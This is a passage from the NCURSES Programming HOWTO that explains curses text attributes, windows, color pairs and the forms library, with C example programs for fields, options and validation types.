        if(prev == '*' && ch == '/')
            attroff(A_BOLD);    /* Switch it off once we got and then / */
        prev = ch;
    }

    endwin();   /* End curses mode */

    return 0;
}

Don't worry about all those initialization and other crap. Concentrate on the while loop. It reads each character in the file and searches for the pattern /*. Once it spots the pattern, it switches the BOLD attribute on with attron() . When we get the pattern */ it is switched off by attroff() .

The above program also introduces us to two useful functions getyx() and move(). The first function gets the co-ordinates of the present cursor into the variables y, x. Since getyx() is a macro we don't have to pass pointers to variables. The function move() moves the cursor to the co-ordinates given to it.

The above program is really a simple one which doesn't do much. On these lines one could write a more useful program which reads a C file, parses it and prints it in different colors. One could even extend it to other languages as well.

8.1. The details

Let's get into more details of attributes. The functions attron(), attroff(), attrset() , and their sister functions attr_get() etc.. can be used to switch attributes on/off , get attributes and produce a colorful display.

The functions attron and attroff take a bit-mask of attributes and switch them on or off, respectively. The following video attributes, which are defined in <curses.h> can be passed to these functions.

    A_NORMAL        Normal display (no highlight)
    A_STANDOUT      Best highlighting mode of the terminal.
    A_UNDERLINE     Underlining
    A_REVERSE       Reverse video
    A_BLINK         Blinking
    A_DIM           Half bright
    A_BOLD          Extra bright or bold
    A_PROTECT       Protected mode
    A_INVIS         Invisible or blank mode
    A_ALTCHARSET    Alternate character set
    A_CHARTEXT      Bit-mask to extract a character
    COLOR_PAIR(n)   Color-pair number n

The last one is the most colorful one :-) Colors are explained in the next sections.

We can OR(|) any number of above attributes to get a combined effect. If you wanted reverse video with blinking characters you can use

    attron(A_REVERSE | A_BLINK);

8.2. attron() vs attrset()

Then what is the difference between attron() and attrset()? attrset sets the attributes of window whereas attron just switches on the attribute given to it. So attrset() fully overrides whatever attributes the window previously had and sets it to the new attribute(s). Similarly attroff() just switches off the attribute(s) given to it as an argument. This gives us the flexibility of managing attributes easily.But if you use them carelessly you may loose track of what attributes the window has and garble the display. This is especially true while managing menus with colors and highlighting. So decide on a consistent policy and stick to it. You can always use standend() which is equivalent to attrset(A_NORMAL) which turns off all attributes and brings you to normal mode.

8.3. attr_get()

The function attr_get() gets the current attributes and color pair of the window. Though we might not use this as often as the above functions, this is useful in scanning areas of screen. Say we wanted to do some complex update on screen and we are not sure what attribute each character is associated with. Then this function can be used with either attrset or attron to produce the desired effect.

8.4. attr_ functions

There are series of functions like attr_set(), attr_on etc.. These are similar to above functions except that they take parameters of type attr_t.

8.5. wattr functions

For each of the above functions we have a corresponding function with 'w' which operates on a particular window. The above functions operate on stdscr.

8.6. chgat() functions

The function chgat() is listed in the end of the man page curs_attr. It actually is a useful one. This function can be used to set attributes for a group of characters without moving. I mean it !!! without moving the cursor :-) It changes the attributes of a given number of characters starting at the current cursor location.

We can give -1 as the character count to update till end of line. If you want to change attributes of characters from current position to end of line, just use this.

    chgat(-1, A_REVERSE, 0, NULL);

This function is useful when changing attributes for characters that are already on the screen. Move to the character from which you want to change and change the attribute.

Other functions wchgat(), mvchgat(), wchgat() behave similarly except that the w functions operate on the particular window. The mv functions first move the cursor then perform the work given to them. Actually chgat is a macro which is replaced by a wchgat() with stdscr as the window. Most of the "w-less" functions are macros.

Example 6. Chgat() Usage example

/* File path: basics/with_chgat.c */
#include <ncurses.h>

int main(int argc, char *argv[])
{   initscr();      /* Start curses mode            */
    start_color();  /* Start color functionality    */

    init_pair(1, COLOR_CYAN, COLOR_BLACK);
    printw("A Big string which i didn't care to type fully ");
    mvchgat(0, 0, -1, A_BLINK, 1, NULL);
    /*
     * First two parameters specify the position at which to start
     * Third parameter number of characters to update. -1 means till
     * end of line
     * Forth parameter is the normal attribute you wanted to give
     * to the character
     * Fifth is the color index. It is the index given during init_pair()
     * use 0 if you don't want color.
     * Sixth one is always NULL
     */
    refresh();
    endwin();       /* End curses mode */
    return 0;
}

This example also introduces us to the color world of curses. Colors will be explained in detail later. Use 0 for no color.

Prev | Home | Next
About input functions like scanw() |  | All about window functions


A Word about Windows

NCURSES Programming HOWTO
Prev Next

5. A Word about Windows

Before we plunge into the myriad ncurses functions, let me clear few things about windows. Windows are explained in detail in following sections

A Window is an imaginary screen defined by curses system. A window does not mean a bordered window which you usually see on Win9X platforms. When curses is initialized, it creates a default window named stdscr which represents your 80x25 (or the size of window in which you are running) screen. If you are doing simple tasks like printing few strings, reading input etc., you can safely use this single window for all of your purposes. You can also create windows and call functions which explicitly work on the specified window.

For example, if you call

    printw("Hi There !!!");
    refresh();

It prints the string on stdscr at the present cursor position. Similarly the call to refresh(), works on stdscr only.

Say you have created windows then you have to call a function with a 'w' added to the usual function.

    wprintw(win, "Hi There !!!");
    wrefresh(win);

As you will see in the rest of the document, naming of functions follow the same convention. For each function there usually are three more functions.

    printw(string);        /* Print on stdscr at present cursor position */
    mvprintw(y, x, string);/* Move to (y, x) then print string     */
    wprintw(win, string);  /* Print on window win at present cursor position */
                           /* in the window */
    mvwprintw(win, y, x, string);   /* Move to (y, x) relative to window */
                                    /* co-ordinates and then print         */

Usually the w-less functions are macros which expand to corresponding w-function with stdscr as the window parameter.

Prev | Home | Next
Initialization |  | About output functions like printw()


All about color

NCURSES Programming HOWTO
Prev Next

10. All about color

10.1. The basics

Life seems dull with no colors. Curses has a nice mechanism to handle colors. Let's get into the thick of the things with a small program.

Example 9. A Simple Color example

/* File path: basics/simple_color.c */
#include <ncurses.h>

void print_in_middle(WINDOW *win, int starty, int startx, int width, char *string);
int main(int argc, char *argv[])
{   initscr();     /* Start curses mode */
    if(has_colors() == FALSE)
    {   endwin();
        printf("You terminal does not support color\n");
        exit(1);
    }
    start_color();  /* Start color */
    init_pair(1, COLOR_RED, COLOR_BLACK);

    attron(COLOR_PAIR(1));
    print_in_middle(stdscr, LINES / 2, 0, 0, "Viola !!! In color ...");
    attroff(COLOR_PAIR(1));
    endwin();
}
void print_in_middle(WINDOW *win, int starty, int startx, int width, char *string)
{    int length, x, y;
    float temp;

    if(win == NULL)
        win = stdscr;
    getyx(win, y, x);
    if(startx != 0)
        x = startx;
    if(starty != 0)
        y = starty;
    if(width == 0)
        width = 80;

    length = strlen(string);
    temp = (width - length)/ 2;
    x = startx + (int)temp;
    mvwprintw(win, y, x, "%s", string);
    refresh();
}

As you can see, to start using color, you should first call the function start_color(). After that you can use color capabilities of your terminals by various functions. To find out whether terminal has color capabilities or not, you can use has_colors() function, which returns FALSE if the terminal does not support color.

Curses initializes all the colors supported by terminal when start_color() is called. These can be accessed by the define constants like COLOR_BLACK etc. Now to actually start using colors, you have to define pairs. Colors are always used in pairs. That means you have to use the function init_pair() to define the foreground and background for the pair number you give. After that that pair number can be used as a normal attribute with COLOR_PAIR()function. This may seem to be cumbersome at first. But this elegant solution allows us to manage color pairs very easily. To appreciate it, you have to look into the the source code of "dialog", a utility for displaying dialog boxes from shell scripts. The developers have defined foreground and background combinations for all the colors they might need and initialized at the beginning. This makes it very easy to set attributes just by accessing a pair which we already have defined as a constant.

The following colors are defined in curses.h. You can use these as parameters for various color functions.
        COLOR_BLACK   0
        COLOR_RED     1
        COLOR_GREEN   2
        COLOR_YELLOW  3
        COLOR_BLUE    4
        COLOR_MAGENTA 5
        COLOR_CYAN    6
        COLOR_WHITE   7

10.2. Changing Color Definitions

The function init_color()can be used to change the rgb values for the colors defined by curses initially. Say you wanted to lighten the intensity of red color by a minuscule. Then you can use this function as

    init_color(COLOR_RED, 700, 0, 0);
    /* param 1     : color name
     * param 2, 3, 4 : rgb content min = 0, max = 1000 */

If your terminal cannot change the color definitions, the function returns ERR. The function can_change_color() can be used to find out whether the terminal has the capability of changing color content or not. The rgb content is scaled from 0 to 1000. Initially RED color is defined with content 1000(r), 0(g), 0(b).

10.3. Color Content

The functions color_content() and pair_content() can be used to find the color content and foreground, background combination for the pair.

Prev | Home | Next
All about window functions |  | Key management. How to read function keys, arrow keys etc..


Forms Library

NCURSES Programming HOWTO
Prev Next

18. Forms Library

Well. If you have seen those forms on web pages which take input from users and do various kinds of things, you might be wondering how would any one create such forms in text mode display. It's quite difficult to write those nifty forms in plain ncurses. Forms library tries to provide a basic frame work to build and maintain forms with ease. It has lot of features(functions) which manage validation, dynamic expansion of fields etc.. Let's see it in full flow.

A form is a collection of fields; each field can be either a label(static text) or a data-entry location. The forms also library provides functions to divide forms into multiple pages.

18.1. The Basics

Forms are created in much the same way as menus. First the fields related to the form are created with new_field(). You can set options for the fields, so that they can be displayed with some fancy attributes, validated before the field looses focus etc.. Then the fields are attached to form. After this, the form can be posted to display and is ready to receive inputs. On the similar lines to menu_driver(), the form is manipulated with form_driver(). We can send requests to form_driver to move focus to a certain field, move cursor to end of the field etc.. After the user enters values in the fields and validation done, form can be unposted and memory allocated can be freed.

The general flow of control of a forms program looks like this.

  1. Initialize curses

  2. Create fields using new_field(). You can specify the height and width of the field, and its position on the form.

  3. Create the forms with new_form() by specifying the fields to be attached with.

  4. Post the form with form_post() and refresh the screen.

  5. Process the user requests with a loop and do necessary updates to form with form_driver.

  6. Unpost the menu with form_unpost()

  7. Free the memory allocated to menu by free_form()

  8. Free the memory allocated to the items with free_field()

  9. End curses

As you can see, working with forms library is much similar to handling menu library. The following examples will explore various aspects of form processing. Let's start the journey with a simple example. first.

18.2. Compiling With the Forms Library

To use forms library functions, you have to include form.h and to link the program with forms library the flag -lform should be added along with -lncurses in that order.

    #include <form.h>
    .
    .
    .

    compile and link: gcc <program file> -lform -lncurses

Example 25. Forms Basics

/* File Path: forms/form_simple.c */
#include <form.h>

int main()
{   FIELD *field[3];
    FORM  *my_form;
    int ch;

    /* Initialize curses */
    initscr();
    cbreak();
    noecho();
    keypad(stdscr, TRUE);

    /* Initialize the fields */
    field[0] = new_field(1, 10, 4, 18, 0, 0);
    field[1] = new_field(1, 10, 6, 18, 0, 0);
    field[2] = NULL;

    /* Set field options */
    set_field_back(field[0], A_UNDERLINE);/* Print a line for the option     */
    field_opts_off(field[0], O_AUTOSKIP); /* Don't go to next field when this */
                                          /* Field is filled up         */
    set_field_back(field[1], A_UNDERLINE);
    field_opts_off(field[1], O_AUTOSKIP);

    /* Create the form and post it */
    my_form = new_form(field);
    post_form(my_form);
    refresh();

    mvprintw(4, 10, "Value 1:");
    mvprintw(6, 10, "Value 2:");
    refresh();

    /* Loop through to get user requests */
    while((ch = getch()) != KEY_F(1))
    {   switch(ch)
        {    case KEY_DOWN:
                /* Go to next field */
                form_driver(my_form, REQ_NEXT_FIELD);
                /* Go to the end of the present buffer */
                /* Leaves nicely at the last character */
                form_driver(my_form, REQ_END_LINE);
                break;
            case KEY_UP:
                /* Go to previous field */
                form_driver(my_form, REQ_PREV_FIELD);
                form_driver(my_form, REQ_END_LINE);
                break;
            default:
                /* If this is a normal character, it gets */
                /* Printed                  */
                form_driver(my_form, ch);
                break;
        }
    }

    /* Un post form and free the memory */
    unpost_form(my_form);
    free_form(my_form);
    free_field(field[0]);
    free_field(field[1]);

    endwin();
    return 0;
}

Above example is pretty straight forward. It creates two fields with new_field(). new_field() takes height, width, starty, startx, number of offscreen rows and number of additional working buffers. The fifth argument number of offscreen rows specifies how much of the field to be shown. If it is zero, the entire field is always displayed otherwise the form will be scrollable when the user accesses not displayed parts of the field. The forms library allocates one buffer per field to store the data user enters. Using the last parameter to new_field() we can specify it to allocate some additional buffers. These can be used for any purpose you like.

After creating the fields, back ground attribute of both of them is set to an underscore with set_field_back(). The AUTOSKIP option is turned off using field_opts_off(). If this option is turned on, focus will move to the next field in the form once the active field is filled up completely.

After attaching the fields to the form, it is posted. Here on, user inputs are processed in the while loop, by making corresponding requests to form_driver. The details of all the requests to the form_driver() are explained later.

18.3. Playing with Fields

Each form field is associated with a lot of attributes. They can be manipulated to get the required effect and to have fun !!!. So why wait?

18.3.1. Fetching Size and Location of Field

The parameters we have given at the time of creation of a field can be retrieved with field_info(). It returns height, width, starty, startx, number of offscreen rows, and number of additional buffers into the parameters given to it. It is a sort of inverse of new_field().

int field_info(     FIELD *field,              /* field from which to fetch */
                    int *height, *int width,   /* field size */
                    int *top, int *left,       /* upper left corner */
                    int *offscreen,            /* number of offscreen rows */
                    int *nbuf);                /* number of working buffers */

18.3.2. Moving the field

The location of the field can be moved to a different position with move_field().

int move_field(    FIELD *field,              /* field to alter */
                   int top, int left);        /* new upper-left corner */

As usual, the changed position can be queried with field_infor().

18.3.3. Field Justification

The justification to be done for the field can be fixed using the function set_field_just().

    int set_field_just(FIELD *field,          /* field to alter */
               int justmode);         /* mode to set */
    int field_just(FIELD *field);          /* fetch justify mode of field */

The justification mode valued accepted and returned by these functions are NO_JUSTIFICATION, JUSTIFY_RIGHT, JUSTIFY_LEFT, or JUSTIFY_CENTER.

18.3.4. Field Display Attributes

As you have seen, in the above example, display attribute for the fields can be set with set_field_fore() and setfield_back(). These functions set foreground and background attribute of the fields. You can also specify a pad character which will be filled in the unfilled portion of the field. The pad character is set with a call to set_field_pad(). Default pad value is a space. The functions field_fore(), field_back, field_pad() can be used to query the present foreground, background attributes and pad character for the field. The following list gives the usage of functions.

int set_field_fore(FIELD *field,        /* field to alter */
                   chtype attr);        /* attribute to set */

chtype field_fore(FIELD *field);        /* field to query */
                                        /* returns foreground attribute */

int set_field_back(FIELD *field,        /* field to alter */
                   chtype attr);        /* attribute to set */

chtype field_back(FIELD *field);        /* field to query */
                                        /* returns background attribute */

int set_field_pad(FIELD *field,         /* field to alter */
                  int pad);             /* pad character to set */

chtype field_pad(FIELD *field);         /* field to query */
                                        /* returns present pad character */

Though above functions seem quite simple, using colors with set_field_fore() may be frustrating in the beginning. Let me first explain about foreground and background attributes of a field. The foreground attribute is associated with the character. That means a character in the field is printed with the attribute you have set with set_field_fore(). Background attribute is the attribute used to fill background of field, whether any character is there or not. So what about colors? Since colors are always defined in pairs, what is the right way to display colored fields? Here's an example clarifying color attributes.

Example 26. Form Attributes example

/* File Path: forms/form_attrib.c */
#include <form.h>

int main()
{   FIELD *field[3];
    FORM  *my_form;
    int ch;

    /* Initialize curses */
    initscr();
    start_color();
    cbreak();
    noecho();
    keypad(stdscr, TRUE);

    /* Initialize few color pairs */
    init_pair(1, COLOR_WHITE, COLOR_BLUE);
    init_pair(2, COLOR_WHITE, COLOR_BLUE);

    /* Initialize the fields */
    field[0] = new_field(1, 10, 4, 18, 0, 0);
    field[1] = new_field(1, 10, 6, 18, 0, 0);
    field[2] = NULL;

    /* Set field options */
    set_field_fore(field[0], COLOR_PAIR(1));/* Put the field with blue background */
    set_field_back(field[0], COLOR_PAIR(2));/* and white foreground (characters */
                        /* are printed in white     */
    field_opts_off(field[0], O_AUTOSKIP);      /* Don't go to next field when this */
                        /* Field is filled up         */
    set_field_back(field[1], A_UNDERLINE);
    field_opts_off(field[1], O_AUTOSKIP);

    /* Create the form and post it */
    my_form = new_form(field);
    post_form(my_form);
    refresh();

    set_current_field(my_form, field[0]); /* Set focus to the colored field */
    mvprintw(4, 10, "Value 1:");
    mvprintw(6, 10, "Value 2:");
    mvprintw(LINES - 2, 0, "Use UP, DOWN arrow keys to switch between fields");
    refresh();

    /* Loop through to get user requests */
    while((ch = getch()) != KEY_F(1))
    {    switch(ch)
        {    case KEY_DOWN:
                /* Go to next field */
                form_driver(my_form, REQ_NEXT_FIELD);
                /* Go to the end of the present buffer */
                /* Leaves nicely at the last character */
                form_driver(my_form, REQ_END_LINE);
                break;
            case KEY_UP:
                /* Go to previous field */
                form_driver(my_form, REQ_PREV_FIELD);
                form_driver(my_form, REQ_END_LINE);
                break;
            default:
                /* If this is a normal character, it gets */
                /* Printed                  */
                form_driver(my_form, ch);
                break;
        }
    }

    /* Un post form and free the memory */
    unpost_form(my_form);
    free_form(my_form);
    free_field(field[0]);
    free_field(field[1]);

    endwin();
    return 0;
}

Play with the color pairs and try to understand the foreground and background attributes. In my programs using color attributes, I usually set only the background with set_field_back(). Curses simply doesn't allow defining individual color attributes.

18.3.5. Field Option Bits

There is also a large collection of field option bits you can set to control various aspects of forms processing. You can manipulate them with these functions:

int set_field_opts(FIELD *field,          /* field to alter */
                   int attr);             /* attribute to set */

int field_opts_on(FIELD *field,           /* field to alter */
                  int attr);              /* attributes to turn on */

int field_opts_off(FIELD *field,          /* field to alter */
                  int attr);              /* attributes to turn off */

int field_opts(FIELD *field);             /* field to query */

The function set_field_opts() can be used to directly set attributes of a field or you can choose to switch a few attributes on and off with field_opts_on() and field_opts_off() selectively. Anytime you can query the attributes of a field with field_opts(). The following is the list of available options. By default, all options are on.

O_VISIBLE

Controls whether the field is visible on the screen. Can be used during form processing to hide or pop up fields depending on the value of parent fields.

O_ACTIVE

Controls whether the field is active during forms processing (i.e. visited by form navigation keys). Can be used to make labels or derived fields with buffer values alterable by the forms application, not the user.

O_PUBLIC

Controls whether data is displayed during field entry. If this option is turned off on a field, the library will accept and edit data in that field, but it will not be displayed and the visible field cursor will not move. You can turn off the O_PUBLIC bit to define password fields.

O_EDIT

Controls whether the field's data can be modified. When this option is off, all editing requests except REQ_PREV_CHOICE and REQ_NEXT_CHOICEwill fail. Such read-only fields may be useful for help messages.

O_WRAP

Controls word-wrapping in multi-line fields. Normally, when any character of a (blank-separated) word reaches the end of the current line, the entire word is wrapped to the next line (assuming there is one). When this option is off, the word will be split across the line break.

O_BLANK

Controls field blanking. When this option is on, entering a character at the first field position erases the entire field (except for the just-entered character).

O_AUTOSKIP

Controls automatic skip to next field when this one fills. Normally, when the forms user tries to type more data into a field than will fit, the editing location jumps to next field. When this option is off, the user's cursor will hang at the end of the field. This option is ignored in dynamic fields that have not reached their size limit.

O_NULLOK

Controls whether validation is applied to blank fields. Normally, it is not; the user can leave a field blank without invoking the usual validation check on exit. If this option is off on a field, exit from it will invoke a validation check.

O_PASSOK

Controls whether validation occurs on every exit, or only after the field is modified. Normally the latter is true. Setting O_PASSOK may be useful if your field's validation function may change during forms processing.

O_STATIC

Controls whether the field is fixed to its initial dimensions. If you turn this off, the field becomes dynamic and will stretch to fit entered data.

A field's options cannot be changed while the field is currently selected. However, options may be changed on posted fields that are not current.

The option values are bit-masks and can be composed with logical-or in the obvious way. You have seen the usage of switching off O_AUTOSKIP option. The following example clarifies usage of some more options. Other options are explained where appropriate.

Example 27. Field Options Usage example

/* File Path: forms/form_options.c */
#include <form.h>

#define STARTX 15
#define STARTY 4
#define WIDTH 25

#define N_FIELDS 3

int main()
{   FIELD *field[N_FIELDS];
    FORM  *my_form;
    int ch, i;

    /* Initialize curses */
    initscr();
    cbreak();
    noecho();
    keypad(stdscr, TRUE);

    /* Initialize the fields */
    for(i = 0; i < N_FIELDS - 1; ++i)
        field[i] = new_field(1, WIDTH, STARTY + i * 2, STARTX, 0, 0);
    field[N_FIELDS - 1] = NULL;

    /* Set field options */
    set_field_back(field[1], A_UNDERLINE);     /* Print a line for the option     */

    field_opts_off(field[0], O_ACTIVE); /* This field is a static label */
    field_opts_off(field[1], O_PUBLIC); /* This filed is like a password field*/
    field_opts_off(field[1], O_AUTOSKIP); /* To avoid entering the same field */
                          /* after last character is entered */

    /* Create the form and post it */
    my_form = new_form(field);
    post_form(my_form);
    refresh();

    set_field_buffer(field[0], 0, "This is a static Field");
    mvprintw(STARTY, STARTX - 10, "Field 1:");
    mvprintw(STARTY + 2, STARTX - 10, "Field 2:");
    refresh();

    /* Loop through to get user requests */
    while((ch = getch()) != KEY_F(1))
    {    switch(ch)
        {    case KEY_DOWN:
                /* Go to next field */
                form_driver(my_form, REQ_NEXT_FIELD);
                /* Go to the end of the present buffer */
                /* Leaves nicely at the last character */
                form_driver(my_form, REQ_END_LINE);
                break;
            case KEY_UP:
                /* Go to previous field */
                form_driver(my_form, REQ_PREV_FIELD);
                form_driver(my_form, REQ_END_LINE);
                break;
            default:
                /* If this is a normal character, it gets */
                /* Printed                  */
                form_driver(my_form, ch);
                break;
        }
    }

    /* Un post form and free the memory */
    unpost_form(my_form);
    free_form(my_form);
    free_field(field[0]);
    free_field(field[1]);

    endwin();
    return 0;
}

This example, though useless, shows the usage of options. If used properly, they can present information very effectively in a form. The second field being not O_PUBLIC, does not show the characters you are typing.

18.3.6. Field Status

The field status specifies whether the field has got edited or not. It is initially set to FALSE and when user enters something and the data buffer gets modified it becomes TRUE. So a field's status can be queried to find out whether it has been modified or not. The following functions can assist in those operations.

int set_field_status(FIELD *field,      /* field to alter */
                   int status);         /* status to set */

int field_status(FIELD *field);         /* fetch status of field */

It's better to check the field's status only after after leaving the field, as data buffer might not have been updated yet as the validation is still due. To guarantee that right status is returned, call field_status() either (1) in the field's exit validation check routine, (2) from the field's or form's initialization or termination hooks, or (3) just after a REQ_VALIDATION request has been processed by the forms driver

18.3.7. Field User Pointer

Every field structure contains one pointer that can be used by the user for various purposes. It is not touched by forms library and can be used for any purpose by the user. The following functions set and fetch user pointer.

int set_field_userptr(FIELD *field,
           char *userptr);      /* the user pointer you wish to associate */
                                /* with the field    */

char *field_userptr(FIELD *field);      /* fetch user pointer of the field */

18.3.8. Variable-Sized Fields

If you want a dynamically changing field with variable width, this is the feature you want to put to full use. This will allow the user to enter more data than the original size of the field and let the field grow. According to the field orientation it will scroll horizontally or vertically to incorporate the new data.

To make a field dynamically growable, the option O_STATIC should be turned off. This can be done with a
    field_opts_off(field_pointer, O_STATIC);

But it's usually not advisable to allow a field to grow infinitely. You can set a maximum limit to the growth of the field with
int set_max_field(FIELD *field,    /* Field on which to operate */
                  int max_growth); /* maximum growth allowed for the field */

The field info for a dynamically growable field can be retrieved by
int dynamic_field_info( FIELD *field,     /* Field on which to operate */
            int   *prows,     /* number of rows will be filled in this */
            int   *pcols,     /* number of columns will be filled in this*/
            int   *pmax)      /* maximum allowable growth will be filled */
                              /* in this */
Though field_info work as usual, it is advisable to use this function to get the proper attributes of a dynamically growable field.

Recall the library routine new_field; a new field created with height set to one will be defined to be a one line field. A new field created with height greater than one will be defined to be a multi line field.

A one line field with O_STATIC turned off (dynamically growable field) will contain a single fixed row, but the number of columns can increase if the user enters more data than the initial field will hold. The number of columns displayed will remain fixed and the additional data will scroll horizontally.

A multi line field with O_STATIC turned off (dynamically growable field) will contain a fixed number of columns, but the number of rows can increase if the user enters more data than the initial field will hold. The number of rows displayed will remain fixed and the additional data will scroll vertically.

The above two paragraphs pretty much describe a dynamically growable field's behavior. The way other parts of forms library behaves is described below:

  1. The field option O_AUTOSKIP will be ignored if the option O_STATIC is off and there is no maximum growth specified for the field. Currently, O_AUTOSKIP generates an automatic REQ_NEXT_FIELD form driver request when the user types in the last character position of a field. On a growable field with no maximum growth specified, there is no last character position. If a maximum growth is specified, the O_AUTOSKIP option will work as normal if the field has grown to its maximum size.

  2. The field justification will be ignored if the option O_STATIC is off. Currently, set_field_just can be used to JUSTIFY_LEFT, JUSTIFY_RIGHT, JUSTIFY_CENTER the contents of a one line field. A growable one line field will, by definition, grow and scroll horizontally and may contain more data than can be justified. The return from field_just will be unchanged.

  3. The overloaded form driver request REQ_NEW_LINE will operate the same way regardless of the O_NL_OVERLOAD form option if the field option O_STATIC is off and there is no maximum growth specified for the field. Currently, if the form option O_NL_OVERLOAD is on, REQ_NEW_LINE implicitly generates a REQ_NEXT_FIELD if called from the last line of a field. If a field can grow without bound, there is no last line, so REQ_NEW_LINE will never implicitly generate a REQ_NEXT_FIELD. If a maximum growth limit is specified and the O_NL_OVERLOAD form option is on, REQ_NEW_LINE will only implicitly generate REQ_NEXT_FIELD if the field has grown to its maximum size and the user is on the last line.

  4. The library call dup_field will work as usual; it will duplicate the field, including the current buffer size and contents of the field being duplicated. Any specified maximum growth will also be duplicated.

  5. The library call link_field will work as usual; it will duplicate all field attributes and share buffers with the field being linked. If the O_STATIC field option is subsequently changed by a field sharing buffers, how the system reacts to an attempt to enter more data into the field than the buffer will currently hold will depend on the setting of the option in the current field.

  6. The library call field_info will work as usual; the variable nrow will contain the value of the original call to new_field. The user should use dynamic_field_info, described above, to query the current size of the buffer.

Some of the above points make sense only after explaining form driver. We will be looking into that in next few sections.

18.4. Form Windows

The form windows concept is pretty much similar to menu windows. Every form is associated with a main window and a sub window. The form main window displays any title or border associated or whatever the user wishes. Then the sub window contains all the fields and displays them according to their position. This gives the flexibility of manipulating fancy form displaying very easily.

Since this is pretty much similar to menu windows, I am providing an example with out much explanation. The functions are similar and they work the same way.

Example 28. Form Windows Example

/* File Path: forms/form_win.c */
#include <form.h>

void print_in_middle(WINDOW *win, int starty, int startx, int width, char *string, chtype color);

int main()
{
    FIELD *field[3];
    FORM  *my_form;
    WINDOW *my_form_win;
    int ch, rows, cols;

    /* Initialize curses */
    initscr();
    start_color();
    cbreak();
    noecho();
    keypad(stdscr, TRUE);

    /* Initialize few color pairs */
       init_pair(1, COLOR_RED, COLOR_BLACK);

    /* Initialize the fields */
    field[0] = new_field(1, 10, 6, 1, 0, 0);
    field[1] = new_field(1, 10, 8, 1, 0, 0);
    field[2] = NULL;

    /* Set field options */
    set_field_back(field[0], A_UNDERLINE);
    field_opts_off(field[0], O_AUTOSKIP); /* Don't go to next field when this */
                          /* Field is filled up         */
    set_field_back(field[1], A_UNDERLINE);
    field_opts_off(field[1], O_AUTOSKIP);

    /* Create the form and post it */
    my_form = new_form(field);

    /* Calculate the area required for the form */
    scale_form(my_form, &rows, &cols);

    /* Create the window to be associated with the form */
    my_form_win = newwin(rows + 4, cols + 4, 4, 4);
    keypad(my_form_win, TRUE);

    /* Set main window and sub window */
    set_form_win(my_form, my_form_win);
    set_form_sub(my_form, derwin(my_form_win, rows, cols, 2, 2));

    /* Print a border around the main window and print a title */
    box(my_form_win, 0, 0);
    print_in_middle(my_form_win, 1, 0, cols + 4, "My Form", COLOR_PAIR(1));

    post_form(my_form);
    wrefresh(my_form_win);

    mvprintw(LINES - 2, 0, "Use UP, DOWN arrow keys to switch between fields");
    refresh();

    /* Loop through to get user requests */
    while((ch = wgetch(my_form_win)) != KEY_F(1))
    {   switch(ch)
        {    case KEY_DOWN:
                /* Go to next field */
                form_driver(my_form, REQ_NEXT_FIELD);
                /* Go to the end of the present buffer */
                /* Leaves nicely at the last character */
                form_driver(my_form, REQ_END_LINE);
                break;
            case KEY_UP:
                /* Go to previous field */
                form_driver(my_form, REQ_PREV_FIELD);
                form_driver(my_form, REQ_END_LINE);
                break;
            default:
                /* If this is a normal character, it gets */
                /* Printed                  */
                form_driver(my_form, ch);
                break;
        }
    }

    /* Un post form and free the memory */
    unpost_form(my_form);
    free_form(my_form);
    free_field(field[0]);
    free_field(field[1]);

    endwin();
    return 0;
}

void print_in_middle(WINDOW *win, int starty, int startx, int width, char *string, chtype color)
{    int length, x, y;
    float temp;

    if(win == NULL)
        win = stdscr;
    getyx(win, y, x);
    if(startx != 0)
        x = startx;
    if(starty != 0)
        y = starty;
    if(width == 0)
        width = 80;

    length = strlen(string);
    temp = (width - length)/ 2;
    x = startx + (int)temp;
    wattron(win, color);
    mvwprintw(win, y, x, "%s", string);
    wattroff(win, color);
    refresh();
}

18.5. Field Validation

By default, a field will accept any data input by the user. It is possible to attach validation to the field. Then any attempt by the user to leave the field, while it contains data that doesn't match the validation type will fail. Some validation types also have a character-validity check for each time a character is entered in the field.

Validation can be attached to a field with the following function.
int set_field_type(FIELD *field,          /* field to alter */
                   FIELDTYPE *ftype,      /* type to associate */
                   ...);                  /* additional arguments*/
Once set, the validation type for a field can be queried with
FIELDTYPE *field_type(FIELD *field);      /* field to query */

The form driver validates the data in a field only when data is entered by the end-user. Validation does not occur when

  • the application program changes the field value by calling set_field_buffer.

  • linked field values are changed indirectly -- by changing the field to which they are linked

The following are the pre-defined validation types. You can also specify custom validation, though it's a bit tricky and cumbersome.

TYPE_ALPHA

This field type accepts alphabetic data; no blanks, no digits, no special characters (this is checked at character-entry time). It is set up with:

int set_field_type(FIELD *field,          /* field to alter */
                   TYPE_ALPHA,            /* type to associate */
                   int width);            /* maximum width of field */

The width argument sets a minimum width of data. The user has to enter at-least width number of characters before he can leave the field. Typically you'll want to set this to the field width; if it's greater than the field width, the validation check will always fail. A minimum width of zero makes field completion optional.

TYPE_ALNUM

This field type accepts alphabetic data and digits; no blanks, no special characters (this is checked at character-entry time). It is set up with:

int set_field_type(FIELD *field,          /* field to alter */
                   TYPE_ALNUM,            /* type to associate */
                   int width);            /* maximum width of field */

The width argument sets a minimum width of data. As with TYPE_ALPHA, typically you'll want to set this to the field width; if it's greater than the field width, the validation check will always fail. A minimum width of zero makes field completion optional.

TYPE_ENUM

This type allows you to restrict a field's values to be among a specified set of string values (for example, the two-letter postal codes for U.S. states). It is set up with:

int set_field_type(FIELD *field,          /* field to alter */
                   TYPE_ENUM,             /* type to associate */
                   char **valuelist;      /* list of possible values */
                   int checkcase;         /* case-sensitive? */
                   int checkunique);      /* must specify uniquely? */

The valuelist parameter must point at a NULL-terminated list of valid strings. The checkcase argument, if true, makes comparison with the string case-sensitive.

When the user exits a TYPE_ENUM field, the validation procedure tries to complete the data in the buffer to a valid entry. If a complete choice string has been entered, it is of course valid. But it is also possible to enter a prefix of a valid string and have it completed for you.

By default, if you enter such a prefix and it matches more than one value in the string list, the prefix will be completed to the first matching value. But the checkunique argument, if true, requires prefix matches to be unique in order to be valid.

The REQ_NEXT_CHOICE and REQ_PREV_CHOICE input requests can be particularly useful with these fields.

TYPE_INTEGER

This field type accepts an integer. It is set up as follows:

int set_field_type(FIELD *field,          /* field to alter */
                   TYPE_INTEGER,          /* type to associate */
                   int padding,           /* # places to zero-pad to */
                   int vmin, int vmax);   /* valid range */

Valid characters consist of an optional leading minus and digits. The range check is performed on exit. If the range maximum is less than or equal to the minimum, the range is ignored.

If the value passes its range check, it is padded with as many leading zero digits as necessary to meet the padding argument.

A TYPE_INTEGER value buffer can conveniently be interpreted with the C library function atoi(3).

TYPE_NUMERIC

This field type accepts a decimal number. It is set up as follows:

int set_field_type(FIELD *field,          /* field to alter */
                   TYPE_NUMERIC,          /* type to associate */
                   int padding,           /* # places of precision */
